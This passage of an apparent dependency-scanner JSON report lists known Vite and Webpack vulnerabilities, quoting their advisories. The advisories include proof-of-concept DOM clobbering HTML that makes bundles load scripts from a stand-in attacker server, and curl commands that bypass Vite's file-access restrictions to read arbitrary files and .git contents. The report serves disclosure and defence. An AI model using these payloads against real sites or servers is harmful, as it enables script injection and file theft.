              "name": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2024-45812"
            },
            {
              "source": "OSSIndex",
              "url": "https:\/\/github.com\/advisories\/GHSA-64vr-g452-qvp3",
              "name": "https:\/\/github.com\/advisories\/GHSA-64vr-g452-qvp3"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:*:vite:4.5.2:*:*:*:*:*:*:*",
                "vulnerabilityIdMatched": "true"
              }
            }
          ]
        },
        {
          "source": "NPM",
          "name": "GHSA-64vr-g452-qvp3",
          "unscored": "true",
          "severity": "moderate",
          "cvssv3": {
            "baseScore": 6.400000095367432,
            "attackVector": "NETWORK",
            "attackComplexity": "HIGH",
            "privilegesRequired": "LOW",
            "userInteraction": "NONE",
            "scope": "UNCHANGED",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "availabilityImpact": "HIGH",
            "baseSeverity": "MEDIUM",
            "version": "3.1"
          },
          "cwes": [
            "CWE-79"
          ],
          "description": "### Summary\n\nWe discovered a DOM Clobbering vulnerability in Vite when building scripts to `cjs`\/`iife`\/`umd` output format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.\n\nNote that, we have identified similar security issues in Webpack: https:\/\/github.com\/webpack\/webpack\/security\/advisories\/GHSA-4vvj-4cpr-p986\n\n### Details\n\n**Backgrounds**\n\nDOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:\n\n[1] https:\/\/scnps.co\/papers\/sp23_domclob.pdf\n[2] https:\/\/research.securitum.com\/xss-in-amp4email-dom-clobbering\/\n\n**Gadgets found in Vite**\n\nWe have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to `cjs`, `iife`, or `umd`. In such cases, Vite replaces relative paths starting with `__VITE_ASSET__` using the URL retrieved from `document.currentScript`.\n\nHowever, this implementation is vulnerable to a DOM Clobbering attack. The `document.currentScript` lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.\n\n```\nconst relativeUrlMechanisms = {\n  amd: (relativePath) => {\n    if (relativePath[0] !== \".\") relativePath = \".\/\" + relativePath;\n    return getResolveUrl(\n      `require.toUrl('${escapeId(relativePath)}'), document.baseURI`\n    );\n  },\n  cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath(\n    relativePath\n  )} : ${getRelativeUrlFromDocument(relativePath)})`,\n  es: (relativePath) => getResolveUrl(\n    `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url`\n  ),\n  iife: (relativePath) => getRelativeUrlFromDocument(relativePath),\n  \/\/ NOTE: make sure rollup generate `module` params\n  system: (relativePath) => getResolveUrl(\n    `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url`\n  ),\n  umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath(\n    relativePath\n  )} : ${getRelativeUrlFromDocument(relativePath, true)})`\n};\n```\n\n### PoC\n\nConsidering a website that contains the following `main.js` script, the devloper decides to use the Vite to bundle up the program with the following configuration. \n\n```\n\/\/ main.js\nimport extraURL from '.\/extra.js?url'\nvar s = document.createElement('script')\ns.src = extraURL\ndocument.head.append(s)\n```\n\n```\n\/\/ extra.js\nexport default \"https:\/\/myserver\/justAnOther.js\"\n```\n\n```\n\/\/ vite.config.js\nimport { defineConfig } from 'vite'\n\nexport default defineConfig({\n  build: {\n    assetsInlineLimit: 0, \/\/ To avoid inline assets for PoC\n    rollupOptions: {\n      output: {\n        format: \"cjs\"\n      },\n    },\n  },\n  base: \".\/\",\n});\n```\n\nAfter running the build command, the developer will get following bundle as the output.\n\n```\n\/\/ dist\/index-DDmIg9VD.js\n\"use strict\";const t=\"\"+(typeof document>\"u\"?require(\"url\").pathToFileURL(__dirname+\"\/extra-BLVEx9Lb.js\").href:new URL(\"extra-BLVEx9Lb.js\",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement(\"script\");e.src=t;document.head.append(e);\n```\n\nAdding the Vite bundled script, `dist\/index-DDmIg9VD.js`, as part of the web page source code, the page could load the `extra.js` file from the attacker's domain, `attacker.controlled.server`. The attacker only needs to insert an `img` tag with the `name` attribute set to `currentScript`. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.\n\n\n```\n<!DOCTYPE html>\n<html>\n<head>\n  <title>Vite Example<\/title>\n  <!-- Attacker-controlled Script-less HTML Element starts--!>\n  <img name=\"currentScript\" src=\"https:\/\/attacker.controlled.server\/\"><\/img>\n  <!-- Attacker-controlled Script-less HTML Element ends--!>\n<\/head>\n<script type=\"module\" crossorigin src=\"\/assets\/index-DDmIg9VD.js\"><\/script>\n<body>\n<\/body>\n<\/html>\n```\n\n### Impact\n\nThis vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of `cjs`, `iife`, or `umd`) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.\n\n### Patch\n\n```\n\/\/ https:\/\/github.com\/vitejs\/vite\/blob\/main\/packages\/vite\/src\/node\/build.ts#L1296\nconst getRelativeUrlFromDocument = (relativePath: string, umd = false) =>\n  getResolveUrl(\n    `'${escapeId(partialEncodeURIPath(relativePath))}', ${\n      umd ? `typeof document === 'undefined' ? location.href : ` : ''\n    }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`,\n  )\n```",
          "notes": "",
          "references": [
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/vitejs\/vite\/commit\/ebb94c5b3bf41950f45562595adec117a4d0ba5e",
              "name": "https:\/\/github.com\/vitejs\/vite\/commit\/ebb94c5b3bf41950f45562595adec117a4d0ba5e"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/advisories\/GHSA-64vr-g452-qvp3",
              "name": "https:\/\/github.com\/advisories\/GHSA-64vr-g452-qvp3"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/scnps.co\/papers\/sp23_domclob.pdf",
              "name": "https:\/\/scnps.co\/papers\/sp23_domclob.pdf"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2024-45812",
              "name": "https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2024-45812"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/vitejs\/vite\/commit\/179b17773cf35c73ddb041f9e6c703fd9f3126af",
              "name": "https:\/\/github.com\/vitejs\/vite\/commit\/179b17773cf35c73ddb041f9e6c703fd9f3126af"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/webpack\/webpack\/security\/advisories\/GHSA-4vvj-4cpr-p986",
              "name": "https:\/\/github.com\/webpack\/webpack\/security\/advisories\/GHSA-4vvj-4cpr-p986"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/research.securitum.com\/xss-in-amp4email-dom-clobbering",
              "name": "https:\/\/research.securitum.com\/xss-in-amp4email-dom-clobbering"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/vitejs\/vite\/security\/advisories\/GHSA-64vr-g452-qvp3",
              "name": "https:\/\/github.com\/vitejs\/vite\/security\/advisories\/GHSA-64vr-g452-qvp3"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/vitejs\/vite\/commit\/2ddd8541ec3b2d2e5b698749e0f2362ef28056bd",
              "name": "https:\/\/github.com\/vitejs\/vite\/commit\/2ddd8541ec3b2d2e5b698749e0f2362ef28056bd"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/vitejs\/vite\/commit\/ade1d89660e17eedfd35652165b0c26905259fad",
              "name": "https:\/\/github.com\/vitejs\/vite\/commit\/ade1d89660e17eedfd35652165b0c26905259fad"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/vitejs\/vite\/commit\/2691bb3ff6b073b41fb9046909e1e03a74e36675",
              "name": "https:\/\/github.com\/vitejs\/vite\/commit\/2691bb3ff6b073b41fb9046909e1e03a74e36675"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/vitejs\/vite\/commit\/e8127166979e7ace6eeaa2c3b733c8994caa31f3",
              "name": "https:\/\/github.com\/vitejs\/vite\/commit\/e8127166979e7ace6eeaa2c3b733c8994caa31f3"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:*:vite:\\>\\=4.0.0\\<4.5.4:*:*:*:*:*:*:*"
              }
            }
          ]
        },
        {
          "source": "OSSINDEX",
          "name": "CVE-2024-31207",
          "severity": "MEDIUM",
          "cvssv3": {
            "baseScore": 5.900000095367432,
            "attackVector": "NETWORK",
            "attackComplexity": "HIGH",
            "privilegesRequired": "NONE",
            "userInteraction": "NONE",
            "scope": "UNCHANGED",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "availabilityImpact": "NONE",
            "baseSeverity": "MEDIUM",
            "version": "3.1"
          },
          "cwes": [
            "CWE-200"
          ],
          "description": "Vite (French word for \"quick\", pronounced \/vit\/, like \"veet\") is a frontend build tooling to improve the frontend development experience.`server.fs.deny` does not deny requests for patterns with directories. This vulnerability has been patched in version(s) 5.2.6, 5.1.7, 5.0.13, 4.5.3, 3.2.10 and 2.9.18.",
          "notes": "",
          "references": [
            {
              "source": "OSSINDEX",
              "url": "https:\/\/ossindex.sonatype.org\/vulnerability\/CVE-2024-31207?component-type=npm&component-name=vite&utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4",
              "name": "[CVE-2024-31207] CWE-200: Information Exposure"
            },
            {
              "source": "OSSIndex",
              "url": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2024-31207",
              "name": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2024-31207"
            },
            {
              "source": "OSSIndex",
              "url": "https:\/\/github.com\/advisories\/GHSA-8jhw-289h-jh2g",
              "name": "https:\/\/github.com\/advisories\/GHSA-8jhw-289h-jh2g"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:*:vite:4.5.2:*:*:*:*:*:*:*",
                "vulnerabilityIdMatched": "true"
              }
            }
          ]
        },
        {
          "source": "NPM",
          "name": "GHSA-8jhw-289h-jh2g",
          "unscored": "true",
          "severity": "moderate",
          "cvssv3": {
            "baseScore": 5.900000095367432,
            "attackVector": "NETWORK",
            "attackComplexity": "HIGH",
            "privilegesRequired": "NONE",
            "userInteraction": "NONE",
            "scope": "UNCHANGED",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "availabilityImpact": "NONE",
            "baseSeverity": "MEDIUM",
            "version": "3.1"
          },
          "cwes": [
            "CWE-284",
            "CWE-200"
          ],
          "description": "### Summary\n[Vite dev server option](https:\/\/vitejs.dev\/config\/server-options.html#server-fs-deny) `server.fs.deny` did not deny requests for patterns with directories. An example of such a pattern is `\/foo\/**\/*`.\n\n### Impact\nOnly apps setting a custom `server.fs.deny` that includes a pattern with directories, and explicitly exposing the Vite dev server to the network (using `--host` or [`server.host` config option](https:\/\/vitejs.dev\/config\/server-options.html#server-host)) are affected.\n\n### Patches\nFixed in vite@5.2.6, vite@5.1.7, vite@5.0.13, vite@4.5.3, vite@3.2.10, vite@2.9.18\n\n### Details\n`server.fs.deny` uses picomatch with the config of `{ matchBase: true }`. [matchBase](https:\/\/github.com\/micromatch\/picomatch\/blob\/master\/README.md#options:~:text=Description-,basename,-boolean) only matches the basename of the file, not the path due to a bug (https:\/\/github.com\/micromatch\/picomatch\/issues\/89). The vite config docs read like you should be able to set fs.deny to glob with picomatch. Vite also does not set `{ dot: true }` and that causes [dotfiles not to be denied](https:\/\/github.com\/micromatch\/picomatch\/blob\/master\/README.md#options:~:text=error%20is%20thrown.-,dot,-boolean) unless they are explicitly defined.\n\n**Reproduction**\n\nSet fs.deny to `['**\/.git\/**']` and then curl for `\/.git\/config`.\n\n* with `matchBase: true`, you can get any file under  `.git\/` (config, HEAD, etc).\n* with `matchBase: false`, you cannot get any file under  `.git\/` (config, HEAD, etc).\n",
          "notes": "",
          "references": [
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/vitejs\/vite\/security\/advisories\/GHSA-8jhw-289h-jh2g",
              "name": "https:\/\/github.com\/vitejs\/vite\/security\/advisories\/GHSA-8jhw-289h-jh2g"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/vitejs\/vite\/commit\/89c7c645f09d16a38f146ef4a1528f218e844d67",
              "name": "https:\/\/github.com\/vitejs\/vite\/commit\/89c7c645f09d16a38f146ef4a1528f218e844d67"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2024-31207",
              "name": "https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2024-31207"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/vitejs\/vite\/commit\/011bbca350e447d1b499d242804ce62738c12bc0",
              "name": "https:\/\/github.com\/vitejs\/vite\/commit\/011bbca350e447d1b499d242804ce62738c12bc0"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/vitejs\/vite\/commit\/d2db33f7d4b96750b35370c70dd2c35ec3b9b649",
              "name": "https:\/\/github.com\/vitejs\/vite\/commit\/d2db33f7d4b96750b35370c70dd2c35ec3b9b649"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/advisories\/GHSA-8jhw-289h-jh2g",
              "name": "https:\/\/github.com\/advisories\/GHSA-8jhw-289h-jh2g"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/vitejs\/vite\/commit\/ba5269cca81de3f5fbb0f49d58a1c55688043258",
              "name": "https:\/\/github.com\/vitejs\/vite\/commit\/ba5269cca81de3f5fbb0f49d58a1c55688043258"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/vitejs\/vite\/commit\/96a7f3a41ef2f9351c46f3ab12489bb4efa03cc9",
              "name": "https:\/\/github.com\/vitejs\/vite\/commit\/96a7f3a41ef2f9351c46f3ab12489bb4efa03cc9"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/vitejs\/vite\/commit\/5a056dd2fc80dbafed033062fe6aaf4717309f48",
              "name": "https:\/\/github.com\/vitejs\/vite\/commit\/5a056dd2fc80dbafed033062fe6aaf4717309f48"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:*:vite:\\>\\=4.0.0\\<\\=4.5.2:*:*:*:*:*:*:*"
              }
            }
          ]
        },
        {
          "source": "NPM",
          "name": "GHSA-9cwx-2883-4wfx",
          "unscored": "true",
          "severity": "moderate",
          "cvssv3": {
            "baseScore": 5.300000190734863,
            "attackVector": "NETWORK",
            "attackComplexity": "LOW",
            "privilegesRequired": "NONE",
            "userInteraction": "NONE",
            "scope": "UNCHANGED",
            "confidentialityImpact": "LOW",
            "integrityImpact": "NONE",
            "availabilityImpact": "NONE",
            "baseSeverity": "MEDIUM",
            "version": "3.1"
          },
          "cwes": [
            "CWE-284",
            "CWE-200"
          ],
          "description": "### Summary\nThe contents of arbitrary files can be returned to the browser.\n\n### Details\n`@fs` denies access to files outside of Vite serving allow list. Adding `?import&raw` to the URL bypasses this limitation and returns the file content if it exists.\n\n### PoC\n```sh\n$ npm create vite@latest\n$ cd vite-project\/\n$ npm install\n$ npm run dev\n\n$ echo \"top secret content\" > \/tmp\/secret.txt\n\n# expected behaviour\n$ curl \"http:\/\/localhost:5173\/@fs\/tmp\/secret.txt\"\n\n    <body>\n      <h1>403 Restricted<\/h1>\n      <p>The request url &quot;\/tmp\/secret.txt&quot; is outside of Vite serving allow list.\n\n# security bypassed\n$ curl \"http:\/\/localhost:5173\/@fs\/tmp\/secret.txt?import&raw\"\nexport default \"top secret content\\n\"\n\/\/# sourceMappingURL=data:application\/json;base64,eyJ2...\n```\n\n",
          "notes": "",
          "references": [
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2024-45811",
              "name": "https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2024-45811"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/vitejs\/vite\/commit\/6820bb3b9a54334f3268fc5ee1e967d2e1c0db34",
              "name": "https:\/\/github.com\/vitejs\/vite\/commit\/6820bb3b9a54334f3268fc5ee1e967d2e1c0db34"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/vitejs\/vite\/security\/advisories\/GHSA-9cwx-2883-4wfx",
              "name": "https:\/\/github.com\/vitejs\/vite\/security\/advisories\/GHSA-9cwx-2883-4wfx"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/vitejs\/vite\/commit\/8339d7408668686bae56eaccbfdc7b87612904bd",
              "name": "https:\/\/github.com\/vitejs\/vite\/commit\/8339d7408668686bae56eaccbfdc7b87612904bd"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/vitejs\/vite\/commit\/4573a6fd6f1b097fb7296a3e135e0646b996b249",
              "name": "https:\/\/github.com\/vitejs\/vite\/commit\/4573a6fd6f1b097fb7296a3e135e0646b996b249"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/vitejs\/vite\/commit\/b901438f99e667f76662840826eec91c8ab3b3e7",
              "name": "https:\/\/github.com\/vitejs\/vite\/commit\/b901438f99e667f76662840826eec91c8ab3b3e7"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/vitejs\/vite\/commit\/a6da45082b6e73ddfdcdcc06bb5414f976a388d6",
              "name": "https:\/\/github.com\/vitejs\/vite\/commit\/a6da45082b6e73ddfdcdcc06bb5414f976a388d6"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/advisories\/GHSA-9cwx-2883-4wfx",
              "name": "https:\/\/github.com\/advisories\/GHSA-9cwx-2883-4wfx"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:*:vite:\\>\\=4.0.0\\<\\=4.5.3:*:*:*:*:*:*:*"
              }
            }
          ]
        },
        {
          "source": "OSSINDEX",
          "name": "CVE-2024-45811",
          "severity": "MEDIUM",
          "cvssv3": {
            "baseScore": 4.800000190734863,
            "attackVector": "ADJACENT_NETWORK",
            "attackComplexity": "HIGH",
            "privilegesRequired": "NONE",
            "userInteraction": "REQUIRED",
            "scope": "UNCHANGED",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "availabilityImpact": "NONE",
            "baseSeverity": "MEDIUM",
            "version": "3.1"
          },
          "cwes": [
            "CWE-200"
          ],
          "description": "Vite a frontend build tooling framework for javascript. In affected versions the contents of arbitrary files can be returned to the browser. `@fs` denies access to files outside of Vite serving allow list. Adding `?import&raw` to the URL bypasses this limitation and returns the file content if it exists. This issue has been patched in versions 5.4.6, 5.3.6, 5.2.14, 4.5.5, and 3.2.11. Users are advised to upgrade. There are no known workarounds for this vulnerability.",
          "notes": "",
          "references": [
            {
              "source": "OSSINDEX",
              "url": "https:\/\/ossindex.sonatype.org\/vulnerability\/CVE-2024-45811?component-type=npm&component-name=vite&utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4",
              "name": "[CVE-2024-45811] CWE-200: Information Exposure"
            },
            {
              "source": "OSSIndex",
              "url": "https:\/\/github.com\/advisories\/GHSA-9cwx-2883-4wfx",
              "name": "https:\/\/github.com\/advisories\/GHSA-9cwx-2883-4wfx"
            },
            {
              "source": "OSSIndex",
              "url": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2024-45811",
              "name": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2024-45811"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:*:vite:4.5.2:*:*:*:*:*:*:*",
                "vulnerabilityIdMatched": "true"
              }
            }
          ]
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "webpack:5.88.2",
      "filePath": "\/builds\/mr\/little_brother\/littlebrother-frontend\/package-lock.json?webpack",
      "projectReferences": [
        "package-lock.json: transitive"
      ],
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGH",
            "source": "package.json",
            "name": "name",
            "value": "webpack"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "package.json",
            "name": "name",
            "value": "webpack"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "package.json",
            "name": "version",
            "value": "5.88.2"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:npm\/webpack@5.88.2",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:npm\/webpack@5.88.2?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ],
      "vulnerabilities": [
        {
          "source": "NPM",
          "name": "GHSA-4vvj-4cpr-p986",
          "unscored": "true",
          "severity": "moderate",
          "cvssv3": {
            "baseScore": 6.400000095367432,
            "attackVector": "NETWORK",
            "attackComplexity": "HIGH",
            "privilegesRequired": "LOW",
            "userInteraction": "NONE",
            "scope": "UNCHANGED",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "availabilityImpact": "HIGH",
            "baseSeverity": "MEDIUM",
            "version": "3.1"
          },
          "cwes": [
            "CWE-79"
          ],
          "description": "### Summary\n\nWe discovered a DOM Clobbering vulnerability in Webpack\u2019s `AutoPublicPathRuntimeModule`. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an `img` tag with an unsanitized `name` attribute) are present.\n\nWe found the real-world exploitation of this gadget in the Canvas LMS which allows XSS attack happens through an javascript code compiled by Webpack (the vulnerable part is from Webpack). We believe this is a severe issue. If Webpack\u2019s code is not resilient to DOM Clobbering attacks, it could lead to significant security vulnerabilities in any web application using Webpack-compiled code.\n\n\n### Details\n\n#### Backgrounds\n\nDOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:\n\n[1] https:\/\/scnps.co\/papers\/sp23_domclob.pdf\n[2] https:\/\/research.securitum.com\/xss-in-amp4email-dom-clobbering\/\n\n\n#### Gadgets found in Webpack\n\nWe identified a DOM Clobbering vulnerability in Webpack\u2019s `AutoPublicPathRuntimeModule`. When the `output.publicPath` field in the configuration is not set or is set to `auto`, the following code is generated in the bundle to dynamically resolve and load additional JavaScript files:\n\n```\n\/******\/ \t\/* webpack\/runtime\/publicPath *\/\n\/******\/ \t(() => {\n\/******\/ \t\tvar scriptUrl;\n\/******\/ \t\tif (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + \"\";\n\/******\/ \t\tvar document = __webpack_require__.g.document;\n\/******\/ \t\tif (!scriptUrl && document) {\n\/******\/ \t\t\tif (document.currentScript)\n\/******\/ \t\t\t\tscriptUrl = document.currentScript.src;\n\/******\/ \t\t\tif (!scriptUrl) {\n\/******\/ \t\t\t\tvar scripts = document.getElementsByTagName(\"script\");\n\/******\/ \t\t\t\tif(scripts.length) {\n\/******\/ \t\t\t\t\tvar i = scripts.length - 1;\n\/******\/ \t\t\t\t\twhile (i > -1 && (!scriptUrl || !\/^http(s?):\/.test(scriptUrl))) scriptUrl = scripts[i--].src;\n\/******\/ \t\t\t\t}\n\/******\/ \t\t\t}\n\/******\/ \t\t}\n\/******\/ \t\t\/\/ When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration\n\/******\/ \t\t\/\/ or pass an empty string (\"\") and set the __webpack_public_path__ variable from your code to use your own logic.\n\/******\/ \t\tif (!scriptUrl) throw new Error(\"Automatic publicPath is not supported in this browser\");\n\/******\/ \t\tscriptUrl = scriptUrl.replace(\/#.*$\/, \"\").replace(\/\\?.*$\/, \"\").replace(\/\\\/[^\\\/]+$\/, \"\/\");\n\/******\/ \t\t__webpack_require__.p = scriptUrl;\n\/******\/ \t})();\n```\n\nHowever, this code is vulnerable to a DOM Clobbering attack. The lookup on the line with `document.currentScript` can be shadowed by an attacker, causing it to return an attacker-controlled HTML element instead of the current script element as intended. In such a scenario, the `src` attribute of the attacker-controlled element will be used as the `scriptUrl` and assigned to `__webpack_require__.p`. If additional scripts are loaded from the server, `__webpack_require__.p` will be used as the base URL, pointing to the attacker's domain. This could lead to arbitrary script loading from the attacker's server, resulting in severe security risks.\n\n### PoC\n\nPlease note that we have identified a real-world exploitation of this vulnerability in the Canvas LMS. Once the issue has been patched, I am willing to share more details on the exploitation. For now, I\u2019m providing a demo to illustrate the concept.\n\nConsider a website developer with the following two scripts, `entry.js` and `import1.js`, that are compiled using Webpack:\n\n```\n\/\/ entry.js\nimport('.\/import1.js')\n  .then(module => {\n    module.hello();\n  })\n  .catch(err => {\n    console.error('Failed to load module', err);\n  });\n```\n\n```\n\/\/ import1.js\nexport function hello () {\n  console.log('Hello');\n}\n```\n\nThe webpack.config.js is set up as follows:\n```\nconst path = require('path');\n\nmodule.exports = {\n  entry: '.\/entry.js', \/\/ Ensure the correct path to your entry file\n  output: {\n    filename: 'webpack-gadgets.bundle.js', \/\/ Output bundle file\n    path: path.resolve(__dirname, 'dist'), \/\/ Output directory\n    publicPath: \"auto\", \/\/ Or leave this field not set\n  },\n  target: 'web',\n  mode: 'development',\n};\n```\n\nWhen the developer builds these scripts into a bundle and adds it to a webpage, the page could load the `import1.js` file from the attacker's domain, `attacker.controlled.server`. The attacker only needs to insert an `img` tag with the `name` attribute set to `currentScript`. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.\n\n```\n<!DOCTYPE html>\n<html>\n<head>\n  <title>Webpack Example<\/title>\n  <!-- Attacker-controlled Script-less HTML Element starts--!>\n  <img name=\"currentScript\" src=\"https:\/\/attacker.controlled.server\/\"><\/img>\n  <!-- Attacker-controlled Script-less HTML Element ends--!>\n<\/head>\n<script src=\".\/dist\/webpack-gadgets.bundle.js\"><\/script>\n<body>\n<\/body>\n<\/html>\n```\n\n### Impact\n\nThis vulnerability can lead to cross-site scripting (XSS) on websites that include Webpack-generated files and allow users to inject certain scriptless HTML tags with improperly sanitized name or id attributes.\n\n### Patch\n\nA possible patch to this vulnerability could refer to the Google Closure project which makes itself resistant to DOM Clobbering attack: https:\/\/github.com\/google\/closure-library\/blob\/b312823ec5f84239ff1db7526f4a75cba0420a33\/closure\/goog\/base.js#L174\n\n```\n\/******\/ \t\/* webpack\/runtime\/publicPath *\/\n\/******\/ \t(() => {\n\/******\/ \t\tvar scriptUrl;\n\/******\/ \t\tif (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + \"\";\n\/******\/ \t\tvar document = __webpack_require__.g.document;\n\/******\/ \t\tif (!scriptUrl && document) {\n\/******\/ \t\t\tif (document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT') \/\/ Assume attacker cannot control script tag, otherwise it is XSS already :>\n\/******\/ \t\t\t\tscriptUrl = document.currentScript.src;\n\/******\/ \t\t\tif (!scriptUrl) {\n\/******\/ \t\t\t\tvar scripts = document.getElementsByTagName(\"script\");\n\/******\/ \t\t\t\tif(scripts.length) {\n\/******\/ \t\t\t\t\tvar i = scripts.length - 1;\n\/******\/ \t\t\t\t\twhile (i > -1 && (!scriptUrl || !\/^http(s?):\/.test(scriptUrl))) scriptUrl = scripts[i--].src;\n\/******\/ \t\t\t\t}\n\/******\/ \t\t\t}\n\/******\/ \t\t}\n\/******\/ \t\t\/\/ When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration\n\/******\/ \t\t\/\/ or pass an empty string (\"\") and set the __webpack_public_path__ variable from your code to use your own logic.\n\/******\/ \t\tif (!scriptUrl) throw new Error(\"Automatic publicPath is not supported in this browser\");\n\/******\/ \t\tscriptUrl = scriptUrl.replace(\/#.*$\/, \"\").replace(\/\\?.*$\/, \"\").replace(\/\\\/[^\\\/]+$\/, \"\/\");\n\/******\/ \t\t__webpack_require__.p = scriptUrl;\n\/******\/ \t})();\n```\n\nPlease note that if we do not receive a response from the development team within three months, we will disclose this vulnerability to the CVE agent.",
          "notes": "",
          "references": [
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2024-43788",
              "name": "https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2024-43788"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/scnps.co\/papers\/sp23_domclob.pdf",
              "name": "https:\/\/scnps.co\/papers\/sp23_domclob.pdf"
            },
            {
              "source": "NPM Advisory reference: ",
